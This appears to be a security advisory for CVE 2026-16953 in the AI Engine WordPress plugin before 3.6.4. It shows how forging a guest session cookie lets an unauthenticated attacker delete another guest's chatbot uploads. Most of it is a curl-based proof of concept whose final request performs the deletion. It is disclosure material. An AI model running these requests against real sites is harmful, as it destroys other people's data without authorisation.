AI Engine < 3.6.4 – Unauthenticated Cross-Session Chatbot File Deletion via Forgeable Session Cookie | CVE 2026-16953

Description

The plugin does not verify ownership of a guest's uploaded chatbot files before deletion, authorising the action solely by a client-supplied session cookie value, so an unauthenticated attacker who obtains a victim's session identifier and file reference can delete that victim's uploaded files.

Proof of Concept

Prerequisites: AI Engine active (guest chatbot file upload/delete work out of the box). All actors are unauthenticated guests. The attacker must know the victim's mwai_session_id cookie value and the victim's file reference id (refId).

1. Victim obtains a freely-issued guest nonce:
   curl -sk -X POST https://victim.example/wp-json/mwai/v1/start_session
   # => {"success":true,"sessionId":"...","restNonce":"<nonce>"}

2. Victim uploads a chatbot file under their own session cookie (owner key becomes session_<cookie>):
   curl -sk -X POST https://victim.example/wp-json/mwai-ui/v1/files/upload \
     -H 'X-WP-Nonce: <nonce>' -H 'Cookie: mwai_session_id=VICTIM_COOKIE' \
     -F 'file=@image.png;type=image/png'
   # => {"success":true,"data":{"id":"<victim refId>", ...}}

3. Negative control A: an attacker deleting with their OWN cookie is refused (proves the cookie is the sole owner key):
   curl -sk -X POST https://victim.example/wp-json/mwai-ui/v1/files/delete \
     -H 'X-WP-Nonce: <attacker nonce>' -H 'Cookie: mwai_session_id=ATTACKER_COOKIE' \
     -H 'Content-Type: application/json' --data '{"files":["<victim refId>"]}'
   # => HTTP 403 {"success":false,"message":"No authorized files to delete"}

4. The attack: the attacker takes their own fresh guest nonce and FORGES the victim's cookie:
   curl -sk -X POST https://victim.example/wp-json/mwai-ui/v1/files/delete \
     -H 'X-WP-Nonce: <attacker nonce>' -H 'Cookie: mwai_session_id=VICTIM_COOKIE' \
     -H 'Content-Type: application/json' --data '{"files":["<victim refId>"]}'
   # => HTTP 200 {"success":true,"deleted":1}

5. Result: the victim's file record is removed and the backing file is unlinked from disk.